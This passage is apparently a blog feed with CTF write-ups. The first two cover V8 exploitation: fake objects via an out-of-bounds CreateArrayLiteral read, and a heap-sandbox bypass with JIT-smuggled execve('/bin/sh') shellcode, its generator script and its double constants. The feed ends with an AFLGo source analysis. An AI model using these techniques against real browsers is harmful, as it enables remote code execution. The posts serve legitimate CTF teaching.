highlighter-rouge">ArrayBoilerplateDescription</code> pointer instead of a <code class="language-plaintext highlighter-rouge">JSArray</code> pointer, and this makes sense: each time when we create an array, we want a new <code class="language-plaintext highlighter-rouge">JSArray</code> instance to be created instead of using the reference to the old <code class="language-plaintext highlighter-rouge">JSArray</code>.</p> <p>An important question to ask is that if we can fake such <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code> instance used for <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code>, can we have object faking primitive? After manually modifying pointers inside the <code class="language-plaintext highlighter-rouge">constant elements</code> to an existing JavaScript object pointer, the answer turns out to be yes. Therefore, the next question is how to fake the <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code> via OOB read of <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code> instruction.</p> <h3 id="controlling-memory-after-fixedarray">Controlling Memory after FixedArray</h3> <p>Since the <code class="language-plaintext highlighter-rouge">FixedArray</code> is in the <code class="language-plaintext highlighter-rouge">OldSpace</code>, it is quite intuitive to try to create an <code class="language-plaintext highlighter-rouge">Array</code> with <code class="language-plaintext highlighter-rouge">double</code> elements and calls garbage collection to put it into <code class="language-plaintext highlighter-rouge">OldSpace</code>, and to see if the array elements can locate at memory after the <code class="language-plaintext highlighter-rouge">FixedArray</code>(e.i. the OOB read victim). However, it seems that the element content is too far away from the <code class="language-plaintext highlighter-rouge">FixedArray</code>, so this approach does not work.</p> <p>Then we found that the content inside <code class="language-plaintext highlighter-rouge">constant elements</code> is very close to <code class="language-plaintext highlighter-rouge">FixedArray</code>, but it is before instead of after the <code class="language-plaintext highlighter-rouge">FixedArray</code>. However, if we create another function that also contains a <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code> instruction, its <code class="language-plaintext highlighter-rouge">constant elements</code> can reside after the target victim <code class="language-plaintext highlighter-rouge">FixedArray</code>, as long as this function declaration is located after the victim function. In addition, if the array created contains only <code class="language-plaintext highlighter-rouge">double</code> elements, its <code class="language-plaintext highlighter-rouge">constant elements</code> is a <code class="language-plaintext highlighter-rouge">FixedDoubleArray</code>, which means <code class="language-plaintext highlighter-rouge">unboxed double</code> is stored in the memory, so we can fully control the memory content after the victim <code class="language-plaintext highlighter-rouge">FixedArray</code>!</p> <p>The specific OOB index is found by some debugging and trials. Initially we set the <code class="language-plaintext highlighter-rouge">unboxed double</code> to <code class="language-plaintext highlighter-rouge">A</code>s, and then we inspect the memory after the target victim <code class="language-plaintext highlighter-rouge">FixedArray</code> in the <code class="language-plaintext highlighter-rouge">gen.cc</code> process (debug version). Note that we cannot do so in <code class="language-plaintext highlighter-rouge">runner.cc</code> because we cannot print the bytecode there. Nonetheless, fortunately the memory layout is very similar among them. With this we calculate an index value and set it as index used by instruction <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code>, and then we can run the <code class="language-plaintext highlighter-rouge">challenge</code> binary with the modified cache. If a crash occurs with address <code class="language-plaintext highlighter-rouge">0x????41414141</code>, the index is valid for OOB access.</p> <h3 id="final-exploit">Final Exploit</h3> <p>At this point the exploitation steps should be clear:</p> <ol> <li>Prepare a large <code class="language-plaintext highlighter-rouge">double</code> array, and the low 32 bits of its element address are fixed (<a href="https://v8.dev/blog/pointer-compression">V8 pointer compression</a>). Such array is used to prepare the faked instances such as <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code>, <code class="language-plaintext highlighter-rouge">FixedArray</code>, <code class="language-plaintext highlighter-rouge">Uint32Array</code>, etc.</li> <li>Spray the low 32 bits of the address of the elements of the large array as <code class="language-plaintext highlighter-rouge">FixedDoubleArray</code> after the <code class="language-plaintext highlighter-rouge">FixedArray</code> used as OOB read victim. At the large array, the <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code> should be faked (Note that in pointer compression mode low 32 bits of pointers to built-in instances such as <code class="language-plaintext highlighter-rouge">Map</code> are fixed).</li> <li>Call the victim function, whose <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code> instruction should be modified beforehand to cause the OOB read, and we return the element as the faked object.</li> <li>As long as we have the faked object, the exploitation is very regular, which I will not discuss here.</li> </ol> <p>The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/Google2022/exp.js">here</a>. We firstly need to compile this exploit to a cache binary, and then use the <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/Google2022/exp.py">Python script</a> to locate and modify the <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code> instruction, and then use the modified cache as the final exploit to be used for the <code class="language-plaintext highlighter-rouge">challenge</code> binary.</p> Sun, 03 Jul 2022 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2022/07/03/Google-CTF.html https://mem2019.github.io/jekyll/update/2022/07/03/Google-CTF.html jekyll update Dice CTF Memory Hole: Breaking V8 Heap Sandbox <h2 id="0x00-introduction">0x00 Introduction</h2> <p>In this challenge, we need to exploit V8 JavaScript engine with heap sandbox enabled. The bug is very simple: an array OOB. We bypass the sandbox by rewriting <code class="language-plaintext highlighter-rouge">code</code> field of function object, so that we can control the low 32 bits of <code class="language-plaintext highlighter-rouge">rip</code> register. We write the shellcode as double floating point immediate numbers in function and compile this function using JIT, and set <code class="language-plaintext highlighter-rouge">rip</code> to address of the shellcode to execute <code class="language-plaintext highlighter-rouge">execve</code>.</p> <h2 id="0x01-sandbox-overview">0x01 Sandbox Overview</h2> <p>The detail of the sandbox is <a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#">here</a>, but I will not detail it here. One important protection is that it converts all external pointers to indexes of a lookup table, such as pointer to web assembly RWX page and pointer of <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> backing store. Thus, we cannot use normal approach to achieve arbitrary read and write.</p> <h2 id="0x02-approach">0x02 Approach</h2> <h3 id="hijacking-program-counter">Hijacking Program Counter</h3> <p>If we <code class="language-plaintext highlighter-rouge">%DebugPrint</code> a function object, we can see there is a <code class="language-plaintext highlighter-rouge">code</code> field pointing to an object at a <code class="language-plaintext highlighter-rouge">r-x</code> page. If we type <code class="language-plaintext highlighter-rouge">job</code> command to that <code class="language-plaintext highlighter-rouge">code</code> field, we can see many assembly instructions. These are exactly the instructions that will be executed if the function is called.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; job 0x7fb0804ad55 0x7fb0804ad55: [Function] - map: 0x07fb082022c1 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties] ... - code: 0x07fb00004f01 &lt;Code BUILTIN CompileLazy&gt; &lt;---- code field ... pwndbg&gt; job 0x07fb00004f01 ... Instructions (size = 1112) 0x7fb07e8d6c0 0 55 push rbp 0x7fb07e8d6c1 1 4889e5 REX.W movq rbp,rsp ... </code></pre></div></div> <p>We can verify this by setting a break point at <code class="language-plaintext highlighter-rouge">0x7fb07e8d6c0</code> and call the function in JavaScript. We can see the breakpoint is triggered in debugger.</p> <p>Therefore, we can try to modify this field to see if we can hijack <code class="language-plaintext highlighter-rouge">rip</code> when this JavaScript function is called. We set the <code class="language-plaintext highlighter-rouge">code</code> field to <code class="language-plaintext highlighter-rouge">0x414141</code> using <code class="language-plaintext highlighter-rouge">gdb</code> <code class="language-plaintext highlighter-rouge">set</code> command, and call this function in JavaScript. We can see a crash at following location:</p> <pre><code class="language-assembly"> ► 0x7fb07e8206b test dword ptr [rcx + 0x1b], 0x20000000 0x7fb07e82072 jne 0x7fb07e82081 &lt;0x7fb07e82081&gt; 0x7fb07e82078 add rcx, 0x3f 0x7fb07e8207c jmp 0x7fb07e8208c &lt;0x7fb07e8208c&gt; ↓ 0x7fb07e8208c jmp rcx </code></pre> <p>The value of <code class="language-plaintext highlighter-rouge">rcx</code> is <code class="language-plaintext highlighter-rouge">0x7fb00414141</code>, which is base address plus the value we have provided.</p> <p>Looking at the assembly code where the crash occurs, we can conclude that if <code class="language-plaintext highlighter-rouge">dword ptr [rcx + 0x1b] &amp; 0x20000000</code> is zero, <code class="language-plaintext highlighter-rouge">rip</code> will be set to <code class="language-plaintext highlighter-rouge">rcx + 0x3f</code>, which is an easily satisfiable condition.</p> <h3 id="writing-shellcode-with-immediate-numbers">Writing Shellcode with Immediate Numbers</h3> <p>Unlike web assembly, whose JIT code is stored in region outside the V8 heap, the normal JavaScript function store the JIT code inside the V8 heap (e.i. the 32-bit region starting with the base address, read <a href="https://v8.dev/blog/pointer-compression">this</a> for more details). We can see this also by looking at <code class="language-plaintext highlighter-rouge">code</code> field of a JITed JavaScript function object.</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="k">return</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">,</span> <span class="mf">2.2</span><span class="p">,</span> <span class="mf">3.3</span><span class="p">];</span> <span class="p">}</span> <span class="o">%</span><span class="nx">PrepareFunctionForOptimization</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="nx">foo</span><span class="p">();</span> <span class="o">%</span><span class="nx">OptimizeFunctionOnNextCall</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="nx">foo</span><span class="p">();</span> <span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="nx">readline</span><span class="p">();</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DebugPrint: 0x29820804ae0d: [Function] - map: 0x2982082022c1 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties] ... - code: 0x298200044001 &lt;Code TURBOFAN&gt; ... pwndbg&gt; job 0x298200044001 0x298200044001: [Code] ... Instructions (size = 304) 0x298200044040 0 8b59d0 movl rbx,[rcx-0x30] ... 0x29820004409f 5f 49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a 0x2982000440a9 69 c4c1f96ec2 vmovq xmm0,r10 0x2982000440ae 6e c5fb114107 vmovsd [rcx+0x7],xmm0 0x2982000440b3 73 49ba9a99999999990140 REX.W movq r10,0x400199999999999a 0x2982000440bd 7d c4c1f96ec2 vmovq xmm0,r10 0x2982000440c2 82 c5fb11410f vmovsd [rcx+0xf],xmm0 0x2982000440c7 87 49ba6666666666660a40 REX.W movq r10,0x400a666666666666 ... </code></pre></div></div> <p>As we can see in the JIT code, the IEEE representations of <code class="language-plaintext highlighter-rouge">1.1</code>, <code class="language-plaintext highlighter-rouge">2.2</code> and <code class="language-plaintext highlighter-rouge">3.3</code> are compiled to <code class="language-plaintext highlighter-rouge">r-x</code> page inside the V8 heap region. We can write shellcode using these numbers and connect them with a <code class="language-plaintext highlighter-rouge">jmp</code> instruction. Since <code class="language-plaintext highlighter-rouge">jmp</code> instruction consumes 2 bytes, we have 6 bytes for shellcode, which are definitely enough.</p> <p>Therefore, we can set <code class="language-plaintext highlighter-rouge">rip</code> to the shellcode using the method mentioned in last subsection. The condition can be easily satisfied by putting a <code class="language-plaintext highlighter-rouge">1.0</code> at first element of array.</p> <p>We generate the shellcode with following scripts, and convert the hex numbers into IEEE floating point numbers using this <a href="https://www.binaryconvert.com/convert_double.html">website</a>:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'amd64'</span><span class="p">)</span> <span class="n">jmp</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xeb\x0c</span><span class="s">'</span> <span class="n">shell</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="sa">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span> <span class="k">def</span> <span class="nf">make_double</span><span class="p">(</span><span class="n">code</span><span class="p">):</span> <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">code</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">6</span> <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">code</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span><span class="p">)</span> <span class="o">+</span> <span class="n">jmp</span><span class="p">))[</span><span class="mi">2</span><span class="p">:])</span> <span class="n">make_double</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="s">"push %d; pop rax"</span> <span class="o">%</span> <span class="p">(</span><span class="n">shell</span> <span class="o">&gt;&gt;</span> <span class="mh">0x20</span><span class="p">)))</span> <span class="n">make_double</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="s">"push %d; pop rdx"</span> <span class="o">%</span> <span class="p">(</span><span class="n">shell</span> <span class="o">%</span> <span class="mh">0x100000000</span><span class="p">)))</span> <span class="n">make_double</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="s">"shl rax, 0x20; xor esi, esi"</span><span class="p">))</span> <span class="n">make_double</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="s">"add rax, rdx; xor edx, edx; push rax"</span><span class="p">))</span> <span class="n">code</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"mov rdi, rsp; push 59; pop rax; syscall"</span><span class="p">)</span> <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">code</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">8</span> <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">code</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span><span class="p">)))[</span><span class="mi">2</span><span class="p">:])</span> <span class="s">""" Output: ceb580068732f68 ceb5a6e69622f68 cebf63120e0c148 ceb50d231d00148 50f583b6ae78948 """</span> </code></pre></div></div> <p>The final function that can generate the shellcode is shown below:</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">()</span><span class="o">=&gt;</span> <span class="p">{</span> <span class="k">return</span> <span class="p">[</span><span class="mf">1.0</span><span class="p">,</span> <span class="mf">1.95538254221075331056310651818</span><span class="nx">E</span><span class="o">-</span><span class="mi">246</span><span class="p">,</span> <span class="mf">1.95606125582421466942709801013</span><span class="nx">E</span><span class="o">-</span><span class="mi">246</span><span class="p">,</span> <span class="mf">1.99957147195425773436923756715</span><span class="nx">E</span><span class="o">-</span><span class="mi">246</span><span class="p">,</span> <span class="mf">1.95337673326740932133292175341</span><span class="nx">E</span><span class="o">-</span><span class="mi">246</span><span class="p">,</span> <span class="mf">2.63486047652296056448306022844</span><span class="nx">E</span><span class="o">-</span><span class="mi">284</span><span class="p">];</span> <span class="p">}</span> </code></pre></div></div> <p>Another thing to note is that we must put the immediate numbers as elements of array, instead of using them in other ways like <code class="language-plaintext highlighter-rouge">func(1.1, 2.2)</code>. The later one will generate JIT code that loads floating point numbers as <code class="language-plaintext highlighter-rouge">HeapNumber</code>, so that the immediate numbers cannot be compiled into <code class="language-plaintext highlighter-rouge">r-x</code> page.</p> <p>Also, JIT compiling <code class="language-plaintext highlighter-rouge">foo</code> with loop can trigger garbage collection, so that we must compile it before triggering any vulnerability.</p> <h3 id="arbitrary-read-and-write-within-v8-heap-region-using-typedarray">Arbitrary Read and Write within V8 Heap Region using TypedArray</h3> <p>Finally, we need to use the vulnerability to actually implement the idea mentioned above. We found that we can still use <code class="language-plaintext highlighter-rouge">TypedArray</code> to achieve arbitrary read and write within V8 heap region (e.i. 32-bit region starting with the base address). Therefore, we use array OOB write to rewrite field of <code class="language-plaintext highlighter-rouge">Uint32Array</code> to achieve this arbitrary read and write. We also use array OOB read to leak addresses of related function objects. The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/memory-hole-1984.js">here</a>.</p> Sun, 06 Feb 2022 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html jekyll update AFLGO Source Code Analysis: Graph Construction and Distance Calculation <h2 id="0x00-introduction">0x00 Introduction</h2> <p><a href="https://mboehme.github.io/paper/CCS17.pdf">AFLGO</a> is a modification of AFL that perform <em>directed fuzzing</em>, for more information, please read the <a href="https://mboehme.github.io/paper/CCS17.pdf">paper</a>. In this article, I will analyze source code of AFLGO that constructs call graph and control flow graphs of given program to be fuzzed and uses these graphs to calculate distance from each block to target locations. Most of these works are implemented in <code class="language-plaintext highlighter-rouge">afl-llvm-pass.so.cc</code> and <code class="language-plaintext highlighter-rouge">distance_calculator/main.cpp</code>. The analysis is based on commit <code class="language-plaintext highlighter-rouge">154cf6f84951ee5099732e267d1e7c79c233f278</code>, in case if author might change the code in the future.</p> <h2 id="0x01-two-stages-of-compilation">0x01 Two Stages of Compilation</h2> <p>When we are using AFLGO, unlike AFL by using which we only need to compile the target binary with <code class="language-plaintext highlighter-rouge">afl-*</code> compiler for <em>once</em>, we need to compile the target binary <em>twice</em>. The first compilation is in order to analyze the program to generate information (e.g. control flow graphs) needed for computing distances; the second compilation is the actual instrumentation that generates binary to be fuzzed.</p> <p>This is clearly illustrated in function <code class="language-plaintext highlighter-rouge">AFLCoverage::runOnModule</code> at <code class="language-plaintext highlighter-rouge">afl-llvm-pass.so.cc</code>: if <code class="language-plaintext highlighter-rouge">TargetsFile</code> is set, then analysis step is performed; if <code class="language-plaintext highlighter-rouge">DistanceFile</code> is set, then instrumentation step is performed. For analysis step, we also need to set an <code class="language-plaintext highlighter-rouge">OutDirectory</code> to output results of analysis.</p> <h3 id="generation-of--information">Generation of Information</h3> <p>When compiling for analysis, variable <code class="language-plaintext highlighter-rouge">is_aflgo_preprocessing</code> is set to <code class="language-plaintext highlighter-rouge">true</code>, and the execution goes into <code class="language-plaintext highlighter-rouge">if (is_aflgo_preprocessing)</code> branch. In this branch, all functions except ones in <code class="language-plaintext highlighter-rouge">Blacklist</code> is iterated; all blocks in these functions and all instructions in each of these blocks are also iterated just like what a <code class="language-plaintext highlighter-rouge">llvm</code> pass usually does, except instructions from external libraries starting with <code class="language-plaintext highlighter-rouge">"/usr/"</code>. Part of source code is shown below.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="o">&amp;</span><span class="n">F</span> <span class="o">:</span> <span class="n">M</span><span class="p">)</span> <span class="p">{</span> <span class="kt">bool</span> <span class="n">has_BBs</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">funcName</span> <span class="o">=</span> <span class="n">F</span><span class="p">.</span><span class="n">getName</span><span class="p">().</span><span class="n">str</span><span class="p">();</span> <span class="cm">/* Black list of function names */</span> <span class="k">if</span> <span class="p">(</span><span class="n">isBlacklisted</span><span class="p">(</span><span class="o">&amp;</span><span class="n">F</span><span class="p">))</span> <span class="p">{</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span> <span class="kt">bool</span> <span class="n">is_target</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="o">&amp;</span><span class="n">BB</span> <span class="o">:</span> <span class="n">F</span><span class="p">)</span> <span class="p">{</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">bb_name</span><span class="p">(</span><span class="s">""</span><span class="p">);</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">filename</span><span class="p">;</span> <span class="kt">unsigned</span> <span class="n">line</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="o">&amp;</span><span class="n">I</span> <span class="o">:</span> <span class="n">BB</span><span class="p">)</span> <span class="p">{</span> <span class="n">getDebugLoc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">I</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span> <span class="cm">/* Don't worry about external libs */</span> <span class="k">static</span> <span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">Xlibs</span><span class="p">(</span><span class="s">"/usr/"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filename</span><span class="p">.</span><span class="n">empty</span><span class="p">()</span> <span class="o">||</span> <span class="n">line</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">filename</span><span class="p">.</span><span class="n">compare</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">Xlibs</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="n">Xlibs</span><span class="p">))</span> <span class="k">continue</span><span class="p">;</span> <span class="c1">// ...</span> </code></pre></div></div> <p>Firstly, each block will be associated with a block name, <code class="language-plaintext highlighter-rouge">bb_name</code>, which is assigned to be <code class="language-plaintext highlighter-rouge">bb_name = filename + ":" + std::to_string(line)</code>, where <code class="language-plaintext highlighter-rouge">filename</code> and <code class="language-plaintext highlighter-rouge">line</code> are location associated with the <em>first instruction that has <code class="language-plaintext highlighter-rouge">DebugLoc</code></em> of this block.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">bb_name</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span> <span class="n">std</span><span class="o">::</span><span class="kt">size_t</span> <span class="n">found</span> <span class="o">=</span> <span class="n">filename</span><span class="p">.</span><span class="n">find_last_of</span><span class="p">(</span><span class="s">"/</span><span class="se">\\</span><span class="s">"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">found</span> <span class="o">!=</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span><span class="p">)</span> <span class="n">filename</span> <span class="o">=</span> <span class="n">filename</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="n">found</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="n">bb_name</span> <span class="o">=</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">std</span><span class="o">::</span><span class="n">to_string</span><span class="p">(</span><span class="n">line</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>In addition, <code class="language-plaintext highlighter-rouge">filename</code> and <code class="language-plaintext highlighter-rouge">line</code> are compared against all target locations. If they match one of the target locations, <code class="language-plaintext highlighter-rouge">is_target</code> will be set to <code class="language-plaintext highlighter-rouge">true</code>. Such boolean variable is used to add all functions that contain target location to <code class="language-plaintext highlighter-rouge">Ftargets.txt</code>.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">is_target</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="o">&amp;</span><span class="n">target</span> <span class="o">:</span> <span class="n">targets</span><span class="p">)</span> <span class="p">{</span> <span class="n">std</span><span class="o">::</span><span class="kt">size_t</span> <span class="n">found</span> <span class="o">=</span> <span class="n">target</span><span class="p">.</span><span class="n">find_last_of</span><span class="p">(</span><span class="s">"/</span><span class="se">\\</span><span class="s">"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">found</span> <span class="o">!=</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span><span class="p">)</span> <span class="n">target</span> <span class="o">=</span> <span class="n">target</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="n">found</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="n">std</span><span class="o">::</span><span class="kt">size_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="n">target</span><span class="p">.</span><span class="n">find_last_of</span><span class="p">(</span><span class="s">":"</span><span class="p">);</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">target_file</span> <span class="o">=</span> <span class="n">target</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">pos</span><span class="p">);</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">target_line</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">target</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">).</span><span class="n">c_str</span><span class="p">());</span> <span class="c1">// parse the target location</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">target_file</span><span class="p">.</span><span class="n">compare</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">target_line</span> <span class="o">==</span> <span class="n">line</span><span class="p">)</span> <span class="n">is_target</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// If a function contains any target location, it will be recorded to Ftargets.txt </span> <span class="k">if</span> <span class="p">(</span><span class="n">is_target</span><span class="p">)</span> <span class="n">ftargets</span> <span class="o">&lt;&lt;</span> <span class="n">F</span><span class="p">.</span><span class="n">getName</span><span class="p">().</span><span class="n">str</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span> </code></pre></div></div> <p>It also extracts <code class="language-plaintext highlighter-rouge">CalledFunction</code> of <code class="language-plaintext highlighter-rouge">CallInst</code>, if any, and records a <code class="language-plaintext highlighter-rouge">bb_name</code> and function name pair into <code class="language-plaintext highlighter-rouge">BBcalls.txt</code>. This is used to map each basic block to all functions which it calls.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="k">auto</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="n">dyn_cast</span><span class="o">&lt;</span><span class="n">CallInst</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">I</span><span class="p">))</span> <span class="p">{</span> <span class="n">std</span><span class="o">::</span><span class="kt">size_t</span> <span class="n">found</span> <span class="o">=</span> <span class="n">filename</span><span class="p">.</span><span class="n">find_last_of</span><span class="p">(</span><span class="s">"/</span><span class="se">\\</span><span class="s">"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">found</span> <span class="o">!=</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">npos</span><span class="p">)</span> <span class="n">filename</span> <span class="o">=</span> <span class="n">filename</span><span class="p">.</span><span class="n">substr</span><span class="p">(</span><span class="n">found</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="k">auto</span> <span class="o">*</span><span class="n">CalledF</span> <span class="o">=</span> <span class="n">c</span><span class="o">-&gt;</span><span class="n">getCalledFunction</span><span class="p">())</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">isBlacklisted</span><span class="p">(</span><span class="n">CalledF</span><span class="p">))</span> <span class="n">bbcalls</span> <span class="o">&lt;&lt;</span> <span class="n">bb_name</span> <span class="o">&lt;&lt;</span> <span class="s">","</span> <span class="o">&lt;&lt;</span> <span class="n">CalledF</span><span class="o">-&gt;</span><span class="n">getName</span><span class="p">().</span><span class="n">str</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>During iteration, all basic block names and function names are also recorded into <code class="language-plaintext highlighter-rouge">BBnames.txt</code> and <code class="language-plaintext highlighter-rouge">Fnames.txt</code> respectively. (<code class="language-plaintext highlighter-rouge">bbnames &lt;&lt; BB.getName().str() &lt;&lt; "\n";</code> and <code class="language-plaintext highlighter-rouge">fnames &lt;&lt; F.getName().str() &lt;&lt; "\n";</code>)</p> <p>Control flow graph of each function is also recorded to <code class="language-plaintext highlighter-rouge">cfg.[funcName].dot</code> in <code class="language-plaintext highlighter-rouge">dot-files</code> directory using <code class="language-plaintext highlighter-rouge">WriteGraph(cfgFile, &amp;F, true)</code> function in <code class="language-plaintext highlighter-rouge">llvm</code>.</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">cfgFileName</span> <span class="o">=</span> <span class="n">dotfiles</span> <span class="o">+</span> <span class="s">"/cfg."</span> <span class="o">+</span> <span class="n">funcName</span> <span class="o">+</span> <span class="s">".dot"</span><span class="p">;</span> <span class="n">std</span><span class="o">::</span><span class="n">error_code</span> <span class="n">EC</span><span class="p">;</span> <span class="n">raw_fd_ostream</span> <span class="nf">cfgFile</span><span class="p">(</span><span class="n">cfgFileName</span><span class="p">,</span> <span class="n">EC</span><span class="p">,</span> <span class="n">sys</span><span class="o">::</span><span class="n">fs</span><span class="o">::</span><span class="n">F_None</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">EC</span><span class="p">)</span> <span class="p">{</span> <span class="n">WriteGraph</span><span class="p">(</span><span class="n">cfgFile</span><span class="p">,</span> <span class="o">&amp;</span><span 